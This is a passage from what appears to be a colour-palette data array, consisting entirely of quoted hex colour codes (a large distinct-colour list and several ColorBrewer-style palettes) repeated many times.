"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61','#f46d43', '#d53e4f', '#9e0142','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f','#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80",
"#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700",
"#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51","#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5",
"#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0","#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E",
"#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00","#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81', '#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5', '#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f',
'#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449', '#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e', '#ffc104', '#624a4c', '#c1b8c9',"#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66",
"#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C","#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329", "#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F", "#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
"#061203", "#DFFB71", "#868E7E", "#98D058", "#6C8F7D", "#D7BFC2", "#3C3E6E", "#D83D66","#2F5D9B", "#6C5E46", "#D25B88", "#5B656C", "#00B57F", "#545C46", "#866097", "#365D25","#252F99", "#00CCFF", "#674E60", "#FC009C", "#92896B",
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
